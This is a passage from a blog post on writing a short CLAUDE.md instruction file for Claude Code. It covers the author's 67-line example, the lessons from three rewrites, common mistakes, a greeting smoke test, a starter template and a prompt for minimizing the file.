&lt;p&gt;Later layers can override earlier ones (except enterprise). Most people only need two: &lt;strong&gt;&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;&lt;/strong&gt; for personal preferences and &lt;strong&gt;&lt;code&gt;./CLAUDE.md&lt;/code&gt;&lt;/strong&gt; in each project. That's what I use. I've never written a rules file, and I'm fine.&lt;/p&gt;

&lt;p&gt;There's also a fifth kind — &lt;strong&gt;Auto Memory&lt;/strong&gt;, which Claude writes for itself based on your corrections. I'll leave that for a separate post; it's a different system with different rules.&lt;/p&gt;

&lt;h2&gt;
  
  
  The File: My Actual 67-Line CLAUDE.md
&lt;/h2&gt;

&lt;p&gt;This is the current &lt;code&gt;./CLAUDE.md&lt;/code&gt; in my main content project. Copy it, read past it, or steal sections, it's here to be useful, not admired.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Content Workflow Project

## What this project is
A one-person writing and research workspace. Markdown files organized by topic.
No code compilation. No build step. Everything is text.

## Stack
- A blog I built (publishing) — drafts live in /articles/, not in the CMS
- Notion (notes) — synced via export, never edited here
- cloudflare R2 (images) — public bucket, no auth

## Directory map
- /articles/    Drafts, one folder per piece
- /research/    Source material, PDFs, transcripts
- /templates/   Reusable outlines and boilerplate
- /archive/     Anything older than 6 months

## Rules (MUST / NEVER)
- MUST keep filenames in kebab-case
- MUST add frontmatter (title, date, tags) to every article
- NEVER modify files in /archive/ unless I say the word "archive"
- NEVER rename files without asking
- NEVER add features, refactoring, or structure I didn't request
- NEVER claim a task is done without showing me the diff

## Writing rules
- Plain English. No corporate voice, no "leverage" or "unleash"
- Short sentences. One idea per paragraph
- If a claim needs a source, add a link. If no source, say "no citation"

## Workflow
- Stage changes with git add after every approved step
- Use @research/{topic}.md when I ask about a topic I've researched before
- When unsure, ask. Don't guess.

## Commands I use
- Preview: open /articles/{slug}/index.html in browser
- Count words: wc -w articles/{slug}/*.md
- Lint links: grep -rn "]()" --include="*.md"

## Detailed docs (loaded on request)
- Publishing flow: @docs/publish.md
- Voice and tone: @docs/voice.md
- newsletter format: @docs/newsletter.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;That's 67 lines, give or take. Every section earns its spot.&lt;/p&gt;

&lt;h2&gt;
  
  
  Line-by-Line: Why Each Section Stays
&lt;/h2&gt;

&lt;p&gt;Most of what makes the file work is what I &lt;em&gt;didn't&lt;/em&gt; put in it. But the sections that stayed each answer a different question Claude asks implicitly every session:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"What is this project?"&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
→ &lt;code&gt;## What this project is&lt;/code&gt;. Three sentences. A human onboarding to the repo would need this. Claude needs it too.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"What tools are in play?"&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
→ &lt;code&gt;## Stack&lt;/code&gt; and &lt;code&gt;## Directory map&lt;/code&gt;. These catch Claude before it asks. Without them, I was answering "where do the images go?" every third session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"What are you going to yell at me for?"&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
→ &lt;code&gt;## Rules (MUST / NEVER)&lt;/code&gt;. This is the section that changed the most across rewrites. More on the wording below, it's specific on purpose.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"How do you want me to write?"&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
→ &lt;code&gt;## Writing rules&lt;/code&gt;. Four lines. Any more and I'm asking Claude to be a style guide, which is the wrong job.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"What should I &lt;em&gt;do&lt;/em&gt; between steps?"&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
→ &lt;code&gt;## Workflow&lt;/code&gt;. Process rules, not style rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"What shell commands are allowed?"&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
→ &lt;code&gt;## Commands I use&lt;/code&gt;. Three commands. I type them often enough that I'd rather Claude know about them than rediscover them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Where's the rest?"&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
→ &lt;code&gt;## Detailed docs&lt;/code&gt;. Three pointers. Each &lt;code&gt;@path&lt;/code&gt; file is loaded only when the section is relevant, so the cost is zero until I need it. This is the single most important structural trick in the file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three Versions: What I Deleted and Why
&lt;/h2&gt;

&lt;p&gt;Before the third rewrite, my file was 312 lines of accumulated preferences. After, it was the six rules I would actually defend in code review. Fewer lines, more enforcement, less drift on the agent side, lower token bill on every turn.&lt;/p&gt;

&lt;p&gt;This is the boring part most guides skip. It's also the part that would have saved me a month.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Lines&lt;/th&gt;
&lt;th&gt;What changed&lt;/th&gt;
&lt;th&gt;Claude's behavior&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;v1&lt;/td&gt;
&lt;td&gt;312&lt;/td&gt;
&lt;td&gt;Dumped everything I could think of&lt;/td&gt;
&lt;td&gt;Followed maybe half. Contradicted itself across sessions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;v2&lt;/td&gt;
&lt;td&gt;142&lt;/td&gt;
&lt;td&gt;Deleted anything a linter could enforce&lt;/td&gt;
&lt;td&gt;Followed most rules. Still rewrote files I didn't ask it to touch.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;v3&lt;/td&gt;
&lt;td&gt;67&lt;/td&gt;
&lt;td&gt;Split detailed docs into &lt;code&gt;@imports&lt;/code&gt;. Rewrote rules as MUST/NEVER&lt;/td&gt;
&lt;td&gt;Follows consistently. Asks when unsure.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  What went into v1 that I later deleted
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;40 lines of formatting rules.&lt;/strong&gt; Indent width. Quote style. Blank lines around headings. Every one of these is something Prettier or a Markdown linter can enforce in zero tokens. Deleted.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;A paragraph of "preferred styles."&lt;/strong&gt; Words like "prefer" and "try to" are mushy. Claude treated them as suggestions. Turned into MUST/NEVER or deleted.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;A list of 22 terms I wanted Claude to use consistently.&lt;/strong&gt; Three of them mattered. The other 19 were me being precious. Kept three. Deleted the rest.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Sample code pasted directly in the file.&lt;/strong&gt; Three examples of "here's how to write an article." These lived in the file, which meant every session paid for them in tokens whether I was writing an article or not. Moved to &lt;code&gt;@docs/voice.md&lt;/code&gt;, loaded only when relevant.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Rationale paragraphs.&lt;/strong&gt; I'd write "we use kebab-case because…" and explain. Claude doesn't need the &lt;em&gt;why&lt;/em&gt; to follow the rule. Deleted the why.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What survived into v3
&lt;/h3&gt;

&lt;p&gt;Anything I caught Claude getting wrong twice. That's the filter. Not "things that would be good to specify", things Claude actually got wrong.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://www.humanlayer.dev/blog/writing-a-good-claude-md?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;humanlayer team&lt;/a&gt;&lt;br&gt;
 calls this &lt;em&gt;onboarding minimalism&lt;/em&gt;: "include as few instructions as reasonably possible." I'd put it more bluntly, if a rule isn't stopping a specific mistake, it's decoration.&lt;/p&gt;

&lt;h2&gt;
  
  
  Six CLAUDE.md Rules That Made v3 Work
&lt;/h2&gt;

&lt;p&gt;These aren't my rules, they're six ideas I pulled from Anthropic's docs, Boris's HN comment, a few bloggers who've written a lot of CLAUDE.md files, and the cuts I made across three rewrites.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk3w7qedfte0rgwt12619.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk3w7qedfte0rgwt12619.webp" alt="Six CLAUDE.md Rules That Made v3 Work technical diagram for Claude.md in 67 Lines: What 3 Rewrites Taught Me" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1. A CLAUDE.md is a table of contents, not an encyclopedia
&lt;/h3&gt;

&lt;p&gt;Any large language model can follow a limited number of instructions in one pass, research and &lt;a href="https://www.reddit.com/r/ClaudeCode/comments/1nhk18g/your_claudemd_is_too_long_and_stupid/?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;user reports&lt;/a&gt;&lt;br&gt;
 both put the stable range at around 150-200. Claude Code's own system prompt already uses a chunk of that budget. If your CLAUDE.md adds another 300 instructions, you're asking Claude to juggle more than it can hold.&lt;/p&gt;

&lt;p&gt;The practical rule: if a section is 15+ lines and only matters sometimes, move it to &lt;code&gt;@docs/xxx.md&lt;/code&gt; and link it. Your CLAUDE.md points at the detailed doc. The detailed doc only loads when Claude needs it.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Point, don't paste
&lt;/h3&gt;

&lt;p&gt;Instead of pasting 40 lines of sample code into CLAUDE.md, write:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example of our article format: @templates/article-standard.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Claude reads the referenced file when it's relevant and ignores it otherwise. Your main file stays small. The template file stays canonical, when you update it, Claude sees the update automatically. No copy stays stale.&lt;/p&gt;

&lt;p&gt;Builder.io's &lt;a href="https://www.builder.io/blog/claude-md-guide?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;CLAUDE.md guide&lt;/a&gt;&lt;br&gt;
 pushes this hard, and for good reason. Copies rot. Pointers don't.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Cover WHAT, WHY, HOW
&lt;/h3&gt;

&lt;p&gt;A good CLAUDE.md answers three questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;WHAT&lt;/strong&gt; is this project? (stack, directory map, core modules)&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;WHY&lt;/strong&gt; is it like this? (the one or two decisions someone would otherwise try to reverse)&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;HOW&lt;/strong&gt; do I work in it? (commands, workflow, review loop)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If a line doesn't fit one of those three buckets, it's probably filler. Cut it.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Stop asking the LLM to be a linter
&lt;/h3&gt;

&lt;p&gt;Prettier gives you the same output every time. Claude doesn't. Asking Claude to enforce indent width or quote style is asking a probabilistic tool to do a deterministic job. It'll get it right 95% of the time, which means wrong one in twenty. That's worse than a linter.&lt;/p&gt;

&lt;p&gt;Move formatting to tools. Keep CLAUDE.md for things tools can't do: architecture decisions, naming judgment calls, project-specific patterns, workflow choices.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. It's a living document
&lt;/h3&gt;

&lt;p&gt;Boris's comment keeps coming back to me: &lt;em&gt;I add to my team's CLAUDE.md multiple times a week.&lt;/em&gt; Not once. Not weekly. Multiple times. The file you write on day one will be wrong in ways you don't yet know. That's fine.&lt;/p&gt;

&lt;p&gt;The update trigger I use: if I find myself correcting Claude on the same thing twice in two sessions, I add a line to CLAUDE.md. One line. Specific to the mistake. Then I watch whether it sticks.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Budget awareness
&lt;/h3&gt;

&lt;p&gt;Rough math, from what we know about LLM instruction following:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Rough instructions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;What an LLM can follow reliably in one pass&lt;/td&gt;
&lt;td&gt;~150-200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code's own system prompt&lt;/td&gt;
&lt;td&gt;~50&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What's left for your CLAUDE.md and everything else&lt;/td&gt;
&lt;td&gt;~100-150&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What I'd budget for CLAUDE.md specifically&lt;/td&gt;
&lt;td&gt;~60-80&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A &lt;a href="https://smart-webtech.com/blog/claude-code-workflows-and-best-practices/?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;2026 workflow guide from smart-webtech&lt;/a&gt;&lt;br&gt;
 puts the hard ceiling at 200 lines: &lt;em&gt;"Files longer than that consume too much context and instruction adherence measurably drops."&lt;/em&gt; That matches what I saw going from v1 to v3, below 100 lines, every rule got followed; between 100-200, adherence started drifting; above 200, Claude was actively triaging.&lt;/p&gt;

&lt;p&gt;Anthropic themselves publish a rolling &lt;a href="https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;Claude Code changelog&lt;/a&gt;&lt;br&gt;
 that's been shipping memory improvements most months in 2026, reduced memory footprint, cache clearing after compaction, capped file history snapshots. The tool is getting leaner. Your CLAUDE.md should go the same direction.&lt;/p&gt;

&lt;p&gt;Every line you add is a line spent. Ask yourself: is this useful every session, or only sometimes? If only sometimes, it belongs in an &lt;code&gt;@docs/&lt;/code&gt; file, not the main one.&lt;/p&gt;

&lt;h3&gt;
  
  
  A specific wording note: MUST and NEVER work, "prefer" doesn't
&lt;/h3&gt;

&lt;p&gt;I tested both. Polite language — "prefer kebab-case," "try to use short sentences", got followed about 70% of the time. MUST/NEVER wording got followed closer to 95%.&lt;/p&gt;

&lt;p&gt;Why? LLMs trained on technical docs know &lt;a href="https://www.rfc-editor.org/rfc/rfc2119?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;RFC 2119&lt;/a&gt;&lt;br&gt;
 keywords. MUST, NEVER, and MUST NOT are treated as rules. "Prefer" and "try to" are treated as suggestions. Both forms are grammatically fine. Only one behaves like a rule.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Mr Tinkleberry Test
&lt;/h2&gt;

&lt;p&gt;Here's a trick I borrowed from &lt;a href="https://news.ycombinator.com/item?id=46098838&amp;amp;ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;a Hacker News thread&lt;/a&gt;&lt;br&gt;
. A developer wrote:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A friend of mine tells Claude to always address him as "Mr Tinkleberry." He says he can tell Claude is not paying attention to the instructions on Claude.md when it doesn't.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It's dumb, and it works. Add one small, unusual, low-stakes instruction to your CLAUDE.md, something Claude would never do on its own. Mine is this line, near the top:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;## Greeting
Always greet me as "Captain" at the start of a session.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;When a new session opens with "Hello, Captain", I know Claude is reading the file. When it opens with "How can I help you?" — I know the file is being skipped, usually because I've stuffed too much in and Claude is triaging.&lt;/p&gt;

&lt;p&gt;It's the cheapest smoke test I've found.&lt;/p&gt;

&lt;h2&gt;
  
  
  Four Ways People Break CLAUDE.md
&lt;/h2&gt;

&lt;p&gt;The most common failure mode I see in CLAUDE.md design is treating the file as documentation for humans rather than instructions for an agent. The audience is the model. The format that works for Confluence does not work here.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 1, Writing it like a manifesto
&lt;/h3&gt;

&lt;p&gt;The worst CLAUDE.md I've seen a reader send me started like this:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Project Philosophy
This project represents a commitment to excellence in software craftsmanship.
We believe that clean code is a form of respect for your future self and your
colleagues. Every line should be written with intention...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Three paragraphs of this before any instruction. Zero of it helps Claude do a task. Claude doesn't need a manifesto, Claude needs rules. Delete the philosophy and start at "## What this project is."&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 2, Using it as a linter
&lt;/h3&gt;

&lt;p&gt;A reader wrote me a 180-line CLAUDE.md. 130 of those lines were formatting rules. Indent style. Trailing commas. Blank lines around headings. Single quotes versus double quotes. Every one of those lines is something ESLint and Prettier solve for free, and they solve it more reliably than any LLM.&lt;/p&gt;

&lt;p&gt;The fix: delete all 130 lines. Add one line: &lt;code&gt;MUST run npm run lint before reporting a task complete.&lt;/code&gt; Let the tool do the tool's job.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 3 — "Please" and "prefer"
&lt;/h3&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Please try to use descriptive variable names when possible.
We would prefer if you avoided overly complex nested structures.
It would be great if documentation could be kept up to date.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Every one of those lines will be followed &lt;em&gt;sometimes&lt;/em&gt;. Rewrite them:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MUST use descriptive variable names. No single-letter names outside loop counters.
NEVER nest conditionals more than 3 levels deep.
MUST update @docs/{relevant}.md when changing a public API.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Specific and directive. Suggestions get ignored. Rules get followed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 4, Writing it once, forever
&lt;/h3&gt;

&lt;p&gt;The CLAUDE.md that was right for your project two months ago is probably wrong now. The stack moved. You stopped using one of the tools. A decision got reversed. The file needs to move with the project.&lt;/p&gt;

&lt;p&gt;I audit mine monthly. Twenty minutes. Delete anything I haven't needed since last audit. Add anything I've been repeating to Claude lately. It's the smallest maintenance tax in the project, and the thing that keeps the file from rotting.&lt;/p&gt;

&lt;h2&gt;
  
  
  When CLAUDE.md Is the Wrong Tool
&lt;/h2&gt;

&lt;p&gt;Three things people put in CLAUDE.md that belong somewhere else.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Project secrets.&lt;/strong&gt; API keys, database URLs, internal hostnames. CLAUDE.md is committed to git in most repos. The right home is &lt;code&gt;.env&lt;/code&gt;, a secrets manager, or a personal-machine-only &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;. The agent does not need the secret to know how to use it; it needs an instruction like "read $DATABASE_URL from environment."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Long-lived task plans.&lt;/strong&gt; "This week we are migrating from Postgres to MySQL" does not belong in CLAUDE.md, because next week the rule is wrong and the agent will follow it anyway. Use a plan file (&lt;code&gt;PLAN.md&lt;/code&gt;, deleted when shipped) or an open issue. CLAUDE.md is for durable rules, not weekly state.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Style preferences for prose.&lt;/strong&gt; "Write in active voice. Use Oxford commas. Prefer short sentences." Three paragraphs of writing style guidance pushes operational rules out of the cache. If the agent writes prose for you, put style notes in the prompt for that one task, not in CLAUDE.md.&lt;/p&gt;

&lt;p&gt;The pattern: CLAUDE.md is for things that are true every turn. Anything that decays, varies by task, or carries a secret belongs elsewhere.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Quick Note on Auto Memory
&lt;/h2&gt;

&lt;p&gt;You may have heard about Auto Memory, the other half of Claude Code's memory system. It became a standard, stable feature in early 2026 and complements what I've covered above.&lt;/p&gt;

&lt;p&gt;Short version: CLAUDE.md is what &lt;em&gt;you&lt;/em&gt; write for Claude. Auto Memory is what &lt;em&gt;Claude&lt;/em&gt; writes for itself, based on your corrections and habits. When you tell Claude "don't do that again," Claude stores a note; next session, the note loads.&lt;/p&gt;

&lt;p&gt;The two systems don't conflict, they complement each other. CLAUDE.md is your rules. Auto Memory is Claude's running notebook. I'll cover Auto Memory properly in a separate post, because the right/wrong ways to use it are different from CLAUDE.md.&lt;/p&gt;

&lt;p&gt;For now, you can check what Claude has stored with &lt;code&gt;/memory&lt;/code&gt; inside a session. If you're surprised by something Claude "remembered," that's usually where it came from. Anthropic is also actively shipping memory-related improvements, the changelog from Q1 2026 shows consistent work on reducing memory footprint, better session recap, and file-history caps. Good news for anyone writing long CLAUDE.md files: the tool is getting smarter about what it actually retains.&lt;/p&gt;

&lt;h3&gt;
  
  
  The common CLAUDE.md regret I hear most
&lt;/h3&gt;

&lt;p&gt;After publishing &lt;a href="https://aiworkflowpro.com/tag/claude-code/" rel="noopener noreferrer"&gt;my six-month review&lt;/a&gt;&lt;br&gt;
, the #1 note readers sent back was the same: &lt;em&gt;"I wish I'd audited my CLAUDE.md a month earlier."&lt;/em&gt; The file rots silently. You stop using a tool, a rule becomes obsolete, a section you added to fix a bug fixes a bug that no longer exists. A 20-minute audit every 4-6 weeks is the cheapest maintenance tax on the list, and the one most people skip.&lt;/p&gt;

&lt;p&gt;One reader who runs a two-person agency had a 240-line CLAUDE.md for an old client engagement. The client project wrapped up in January. The file was still loaded into every new project session in April, three months of every prompt carrying 180 lines of dead context. Five minutes to delete, three months of unnecessary tokens. That's the cost of "write once, forever."&lt;/p&gt;

&lt;h2&gt;
  
  
  Copy This Starter Template
&lt;/h2&gt;

&lt;p&gt;Not a programmer? Use this. It's a CLAUDE.md for a solo content or research workspace, 28 lines, no code context. Paste it into &lt;code&gt;./CLAUDE.md&lt;/code&gt; in your project folder and edit the filled-in parts.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# {project name}

## What this project is
{One or two sentences. What is the work? What's the output?}

## Tools
- {Tool 1} — {what I use it for}
- {Tool 2} — {what I use it for}

## Directory map
- /{folder}/  {what lives here}
- /{folder}/  {what lives here}

## Rules (MUST / NEVER)
- MUST keep filenames in kebab-case
- MUST add a date and title to every file in /articles/
- NEVER modify files outside the current task
- NEVER claim a task is done without showing me the diff
- When unsure, ask. Don't guess.

## Writing rules
- Plain language. No corporate voice.
- Short sentences. One idea per paragraph.

## Greeting
Greet me as "{pick one word}" at the start of a session.

## Commands I use
- {Your most common command}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The greeting line is the smoke test from earlier, keep it while you're tuning the file, then delete it once you trust Claude is reading the file consistently.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;The optimal CLAUDE.md length is 60-100 lines&lt;/strong&gt; — past 150, Claude measurably starts triaging rules. My current file is 67 lines after three rewrites&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Use MUST / NEVER / MUST NOT (RFC 2119 keywords)&lt;/strong&gt; — polite language like "prefer" or "try to" gets followed ~70% of the time vs. ~95% for directive language&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Point, don't paste&lt;/strong&gt; — move long templates into separate files and reference with &lt;code&gt;@path/to/file.md&lt;/code&gt;; the referenced file is lazy-loaded only when relevant&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Audit monthly, not quarterly&lt;/strong&gt; — the most common reader regret is waiting too long between CLAUDE.md cleanups. 20 minutes every 4-6 weeks keeps the file alive&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Don't ask the LLM to be a linter&lt;/strong&gt; — Prettier and ESLint are deterministic and free; CLAUDE.md should hold decisions tools can't make&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Add a one-word greeting as a smoke test&lt;/strong&gt; — if Claude opens the session without the greeting, the file isn't being read (usually because it's too long)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Ready-to-Use Prompt: Minimize a CLAUDE.md to the Shortest File That Hits Your Bar
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What this does:&lt;/strong&gt; Scores a bloated CLAUDE.md against the six survival rules, triages every line into KEEP / CUT / MOVE, and rebuilds it in the fixed ~67-line structure — so enforced rules stay and noise stops pushing real instructions out of the cache window.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Based on:&lt;/strong&gt; Claude.md in 67 Lines: What 3 Rewrites Taught Me — &lt;a href="https://aiworkflowpro.com/claude-code-claude-md/" rel="noopener noreferrer"&gt;https://aiworkflowpro.com/claude-code-claude-md/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time to run:&lt;/strong&gt; ~4 minutes&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Copy this prompt into Claude Code, ChatGPT, or any AI assistant:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ROLE: You are a CLAUDE.md Minimizer. Your job: cut a bloated CLAUDE.md down to the shortest file that still gets the agent to the user's bar — by deleting, not by writing better rules.

CONTEXT — CLAUDE.md MINIMIZATION METHOD:
The best CLAUDE.md is the shortest one that gets the agent to your bar — a 312-line file barely works, and the fix is deleting 75%, not writing better rules. Rules you wrote but never enforce become noise that pushes real instructions out of the cache window. Six rules make a file stick: (1) shortest file that hits your bar; (2) rules are hard MUST/NEVER constraints, not "prefer" wishes; (3) load detailed docs on request, not inline; (4) one section = one job, in a fixed structure — project, stack, directory map, rules, workflow, commands, detailed docs; (5) enforce or delete; (6) cache-window discipline — every line earns its place. Minimize first, then rebuild in the fixed structure.

INPUTS (fill in before running):
- CURRENT_FILE: [The existing CLAUDE.md content — or "starting fresh"]
- PROJECT_INFO: [What the project is, the stack, the key directories]
- QUALITY_BAR: [What "good" means — the standard the agent must hit]
- ENFORCED_RULES: [Which rules you actually enforce, vs. aspirational ones]

METHOD — 4 STEPS:

Step 1 — Score the Current File Against the Six Rules
For each of the six rules, score CURRENT_FILE 0–2 (0 = violates, 1 = partial, 2 = fully met). Count total lines. Flag any rule scoring 0 and any section over ~15 lines as a cut target.

Step 2 — Triage Every Line (KEEP / CUT / MOVE)
For each line or rule: KEEP if it is an enforced MUST/NEVER that earns its cache-window place; CUT if unenforced, aspirational ("prefer"), or duplicated; MOVE to a detailed-docs file loaded on request if it is reference depth not needed every session.

Step 3 — Rebuild in the Fixed 8-Section Structure
Reassemble the KEEP items into: What this project is / Stack / Directory map / Rules (MUST/NEVER) / Writing rules / Workflow / Commands / Detailed docs (loaded on request). Aim for about 67 lines.

Step 4 — Verify Against the Bar and Cache Discipline
Confirm the rebuilt file still gets the agent to QUALITY_BAR (no enforced rule lost), every rule is in ENFORCED_RULES, and total length is under the cut target. Name anything moved to load-on-request docs.

RULES:
- Never keep a rule you do not enforce — unenforced rules are noise that displaces real instructions.
- Never inline detailed reference docs — move them to files loaded on request.
- Never let "prefer" or aspirational phrasing survive — convert to MUST/NEVER or cut.

OUTPUT FORMAT:
Output a markdown report with:
1. Six-Rule Scorecard — markdown table, columns: Rule | Score (0–2) | Note
2. Line Triage — markdown table, columns: Section | KEEP / CUT / MOVE | Why
3. Minimized CLAUDE.md — the rebuilt file inside a fenced text block, with the line count
4. Moved-to-Docs — list of anything relocated to load-on-request files
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Save as &lt;code&gt;@templates/claude-code-claude-md.md&lt;/code&gt; and run whenever a CLAUDE.md grows past ~100 lines or stops being followed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Where should CLAUDE.md live, in the project or in my home folder?
&lt;/h3&gt;

&lt;p&gt;Both, usually. A project-specific &lt;code&gt;./CLAUDE.md&lt;/code&gt; in the project folder covers rules that apply only to that work. A user-level &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt; covers things you want across every project (voice, working style, "don't over-explain your answers"). Project-level overrides user-level where they conflict.&lt;/p&gt;

&lt;h3&gt;
  
  
  How long should CLAUDE.md be?
&lt;/h3&gt;

&lt;p&gt;60-100 lines for most work. Past 150, Claude starts skipping parts of it. If you feel the file pushing past 100, that's the signal to move detail into &lt;code&gt;@docs/&lt;/code&gt; files and link them from the main file. The &lt;a href="https://www.humanlayer.dev/blog/writing-a-good-claude-md?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;humanlayer guide&lt;/a&gt;&lt;br&gt;
 argues for even shorter files, I've found 67 lines is the sweet spot for my content workflow.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does CLAUDE.md work in subdirectories?
&lt;/h3&gt;

